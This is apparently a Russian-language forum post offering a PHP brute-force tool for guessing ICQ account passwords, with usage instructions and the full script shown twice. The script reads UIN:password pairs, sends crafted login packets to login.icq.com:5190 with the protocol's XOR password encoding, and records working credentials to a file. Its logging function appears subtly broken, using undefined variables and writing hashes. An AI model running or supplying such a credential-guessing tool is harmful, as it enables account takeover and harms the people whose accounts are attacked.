Совершенно новый ICQ-брутфорс, написанный на php. Естественно, задача данного скрипта - подбор паролей к ICQ-номерам.
Формат входного файла:
Код:
Скопировать в буфер обмена
уин:пароль
123456assword
345678upkin
Выходной файл good.txt, в котором пишутся подобранные уины.
Запускать скрипт из консоли таким образом:
$ php ./put_k_scriptu/ICQbrut.php
А вот и сам брутер:
Код:
Скопировать в буфер обмена
<?
## ICQ cross-platform brutforce by StepST
## (c)oded by G_Mitrich and Stepbl4b
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Options:
## ~~~~~~~~
$uins = file('uins.txt'); # File with the list of uins
# (uinassword)
$goodf = 'good.txt'; # File for output right
# combinations
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Credits: StepST , http://step57.info/
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Script-kiddes, I love you! RTFM and learning PHP!
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
function XorInt($p1, $p2)
{
$binres = '';
for ($Pos = 0; $Pos < 8; $Pos ++)
{
$binres = bcpow(bcmod($p1, 2) - bcmod($p2, 2), 2, 0).$binres;
$p1 = bcdiv($p1, 2);
$p2 = bcdiv($p2, 2);
}
$Result = 0;
for ($Pos = 0; $Pos < 8; $Pos ++)
{
$Result = $Result * 2 + $binres[$Pos];
}
return $Result;
}
function CryptPass($ParamPassword)
{
$PassTable = array(243, 38, 129, 196, 57, 134, 219, 146,
113, 163, 185, 230, 83, 122, 149, 124);
$Result = '';
for ($Position = 0; $Position + 1 <= strlen($ParamPassword); $Position ++)
$Result = $Result.chr(XorInt(ord($ParamPassword[$Position]),
$PassTable[$Position]));
return $Result;
}
function Connect($ParamServer, $TimeOut)
{
@$ServerAddress = explode(':', $ParamServer);
@$Result = pfsockopen($ServerAddress[0], $ServerAddress[1], $ErrN,
$ErrStr, $TimeOut);
@set_socket_blocking($Result, 0);
return $Result;
}
function ReadStr($Socket, $Size, $TimeOut)
{
$Time = time();
@$Result = fgets($Socket, $Size + 1);
while ((strlen($Result) < $Size) and ($Time + $TimeOut > time()))
@$Result = $Result.fgets($Socket, 1 + $Size - strlen($Result));
return $Result;
}
function WriteStr($Socket, $Buf, $TimeOut)
{
$Time = time();
@$Result = fputs($Socket, $Buf);
while (($Result < strlen($Buf)) and ($Time + $TimeOut > time()))
@$Result += intval(fputs($Socket, $Buf[$Result]) != 0);
return $Result;
}
function CheckUIN($ParamServer, $ParamUIN, $ParamPass, $TimeOut)
{
$Socket = Connect($ParamServer, $TimeOut);
if ($Socket == 0)
{
return -1;
}
$Buffer = ReadStr($Socket, 10, $TimeOut);
if ((strlen($Buffer) != 10) or (($Buffer[0].$Buffer[1] != chr(42).chr(1))
or ($Buffer[4].$Buffer[5] != chr(0).chr(4)) or ($Buffer[6].$Buffer[7].
$Buffer[8].$Buffer[9] != chr(0).chr(0).chr(0).chr(1))))
{
@fclose($Socket);
return -1;
}
$CryptPassword = CryptPass($ParamPass);
$CliProf = 'ICQ Inc. - Product of ICQ (TM).2003b.5.56.1.3916.85';
$Buffer = chr(0).chr(0).chr(0).chr(1).
chr(0).chr(1).chr(0).chr(strlen($ParamUIN)).$ParamUIN.
chr(0).chr(2).chr(0).chr(strlen($CryptPassword)).$CryptPassword.
chr(0).chr(3).chr(0).chr(strlen($CliProf)).$CliProf.
chr(0).chr(22).chr(0).chr(2).chr(1).chr(10).
chr(0).chr(23).chr(0).chr(2).chr(0).chr(5).
chr(0).chr(24).chr(0).chr(2).chr(0).chr(37).
chr(0).chr(25).chr(0).chr(2).chr(0).chr(1).
chr(0).chr(26).chr(0).chr(2).chr(14).chr(144).
chr(0).chr(20).chr(0).chr(4).chr(0).chr(0).chr(0).chr(85).
chr(0).chr(15).chr(0).chr(2).'en'.
chr(0).chr(14).chr(0).chr(2).'us';
$Buffer = chr(42).
chr(1).
chr(rand(0, 255)).chr(rand(0, 255)).
chr(0).chr(strlen($Buffer)).
$Buffer;
WriteStr($Socket, $Buffer, $TimeOut);
$UINlen = strlen($ParamUIN);
$Buffer = ReadStr($Socket, 12 + $UINlen, $TimeOut);
@fclose($Socket);
if (strlen($Buffer) < 12 + $UINlen)
return -1;
if ($Buffer[strlen($Buffer) - 1] == chr(5))
return 1;
else
return 0;
}
function AddUIN($UIN, $PassWord, $goodf)
{
$File = fopen($goodf, 'a');
$Ln = chr(13).chr(10);
echo ' Success ';
fputs($File, md5($uin.' - '.$password.$Ln));
fclose($File);
return 0;
}
function Main($uins, $goodf)
{
error_reporting (~E_ALL);
echo "
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ##
## ICQ cross-platform brutforce by StepST ##
## (c)oded by G_Mitrich and Stepbl4b ##
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ##
## Credits: StepST , http://step57.info/ ##
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ##
";
$Ln = chr(13).chr(10);
echo 'Start.'.$Ln.$Ln;
$AuthServAddr = "login.icq.com:5190";
$TimeOut = "5";
$ccp=round(count($uins)/100)+1;
$cct=round(count($uins)/35)+1;
$cca=count($uins);
$i = 0;
$i=$i;
while ($i < $cca)
{
$uin1=explode(":", trim($uins[$i]));
$PassWord=$uin1[1];
$UIN=$uin1[0];
$Check = CheckUIN($AuthServAddr, $UIN, $PassWord, $TimeOut);
if ($Check != -1)
{
if ($Check == 1)
{
AddUIN($UIN, $PassWord, $goodf);
}
$i++;
if($i/$cct==round($i/$cct)){
echo " ".round(($i/$cca)*100)."% ";
}
if($i/$ccp==round($i/$ccp)){
echo "=";
}
}
}
echo $Ln.$Ln.' Finish.'.$Ln;
}
Main($uins, $goodf);
?>
Формат входного файла:
Код:
Скопировать в буфер обмена
уин:пароль
123456assword
345678upkin
Выходной файл good.txt, в котором пишутся подобранные уины.
Запускать скрипт из консоли таким образом:
$ php ./put_k_scriptu/ICQbrut.php
А вот и сам брутер:
Код:
Скопировать в буфер обмена
<?
## ICQ cross-platform brutforce by StepST
## (c)oded by G_Mitrich and Stepbl4b
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Options:
## ~~~~~~~~
$uins = file('uins.txt'); # File with the list of uins
# (uinassword)
$goodf = 'good.txt'; # File for output right
# combinations
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Credits: StepST , http://step57.info/
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Script-kiddes, I love you! RTFM and learning PHP!
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
function XorInt($p1, $p2)
{
$binres = '';
for ($Pos = 0; $Pos < 8; $Pos ++)
{
$binres = bcpow(bcmod($p1, 2) - bcmod($p2, 2), 2, 0).$binres;
$p1 = bcdiv($p1, 2);
$p2 = bcdiv($p2, 2);
}
$Result = 0;
for ($Pos = 0; $Pos < 8; $Pos ++)
{
$Result = $Result * 2 + $binres[$Pos];
}
return $Result;
}
function CryptPass($ParamPassword)
{
$PassTable = array(243, 38, 129, 196, 57, 134, 219, 146,
113, 163, 185, 230, 83, 122, 149, 124);
$Result = '';
for ($Position = 0; $Position + 1 <= strlen($ParamPassword); $Position ++)
$Result = $Result.chr(XorInt(ord($ParamPassword[$Position]),
$PassTable[$Position]));
return $Result;
}
function Connect($ParamServer, $TimeOut)
{
@$ServerAddress = explode(':', $ParamServer);
@$Result = pfsockopen($ServerAddress[0], $ServerAddress[1], $ErrN,
$ErrStr, $TimeOut);
@set_socket_blocking($Result, 0);
return $Result;
}
function ReadStr($Socket, $Size, $TimeOut)
{
$Time = time();
@$Result = fgets($Socket, $Size + 1);
while ((strlen($Result) < $Size) and ($Time + $TimeOut > time()))
@$Result = $Result.fgets($Socket, 1 + $Size - strlen($Result));
return $Result;
}
function WriteStr($Socket, $Buf, $TimeOut)
{
$Time = time();
@$Result = fputs($Socket, $Buf);
while (($Result < strlen($Buf)) and ($Time + $TimeOut > time()))
@$Result += intval(fputs($Socket, $Buf[$Result]) != 0);
return $Result;
}
function CheckUIN($ParamServer, $ParamUIN, $ParamPass, $TimeOut)
{
$Socket = Connect($ParamServer, $TimeOut);
if ($Socket == 0)
{
return -1;
}
$Buffer = ReadStr($Socket, 10, $TimeOut);
if ((strlen($Buffer) != 10) or (($Buffer[0].$Buffer[1] != chr(42).chr(1))
or ($Buffer[4].$Buffer[5] != chr(0).chr(4)) or ($Buffer[6].$Buffer[7].
$Buffer[8].$Buffer[9] != chr(0).chr(0).chr(0).chr(1))))
{
@fclose($Socket);
return -1;
}
$CryptPassword = CryptPass($ParamPass);
$CliProf = 'ICQ Inc. - Product of ICQ (TM).2003b.5.56.1.3916.85';
$Buffer = chr(0).chr(0).chr(0).chr(1).
chr(0).chr(1).chr(0).chr(strlen($ParamUIN)).$ParamUIN.
chr(0).chr(2).chr(0).chr(strlen($CryptPassword)).$CryptPassword.
chr(0).chr(3).chr(0).chr(strlen($CliProf)).$CliProf.
chr(0).chr(22).chr(0).chr(2).chr(1).chr(10).
chr(0).chr(23).chr(0).chr(2).chr(0).chr(5).
chr(0).chr(24).chr(0).chr(2).chr(0).chr(37).
chr(0).chr(25).chr(0).chr(2).chr(0).chr(1).
chr(0).chr(26).chr(0).chr(2).chr(14).chr(144).
chr(0).chr(20).chr(0).chr(4).chr(0).chr(0).chr(0).chr(85).
chr(0).chr(15).chr(0).chr(2).'en'.
chr(0).chr(14).chr(0).chr(2).'us';
$Buffer = chr(42).
chr(1).
chr(rand(0, 255)).chr(rand(0, 255)).
chr(0).chr(strlen($Buffer)).
$Buffer;
WriteStr($Socket, $Buffer, $TimeOut);
$UINlen = strlen($ParamUIN);
$Buffer = ReadStr($Socket, 12 + $UINlen, $TimeOut);
@fclose($Socket);
if (strlen($Buffer) < 12 + $UINlen)
return -1;
if ($Buffer[strlen($Buffer) - 1] == chr(5))
return 1;
else
return 0;
}
function AddUIN($UIN, $PassWord, $goodf)
{
$File = fopen($goodf, 'a');
$Ln = chr(13).chr(10);
echo ' Success ';
fputs($File, md5($uin.' - '.$password.$Ln));
fclose($File);
return 0;
}
function Main($uins, $goodf)
{
error_reporting (~E_ALL);
echo "
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ##
## ICQ cross-platform brutforce by StepST ##
## (c)oded by G_Mitrich and Stepbl4b ##
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ##
## Credits: StepST , http://step57.info/ ##
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ##
";
$Ln = chr(13).chr(10);
echo 'Start.'.$Ln.$Ln;
$AuthServAddr = "login.icq.com:5190";
$TimeOut = "5";
$ccp=round(count($uins)/100)+1;
$cct=round(count($uins)/35)+1;
$cca=count($uins);
$i = 0;
$i=$i;
while ($i < $cca)
{
$uin1=explode(":", trim($uins[$i]));
$PassWord=$uin1[1];
$UIN=$uin1[0];
$Check = CheckUIN($AuthServAddr, $UIN, $PassWord, $TimeOut);
if ($Check != -1)
{
if ($Check == 1)
{
AddUIN($UIN, $PassWord, $goodf);
}
$i++;
if($i/$cct==round($i/$cct)){
echo " ".round(($i/$cca)*100)."% ";
}
if($i/$ccp==round($i/$ccp)){
echo "=";
}
}
}
echo $Ln.$Ln.' Finish.'.$Ln;
}
Main($uins, $goodf);
?>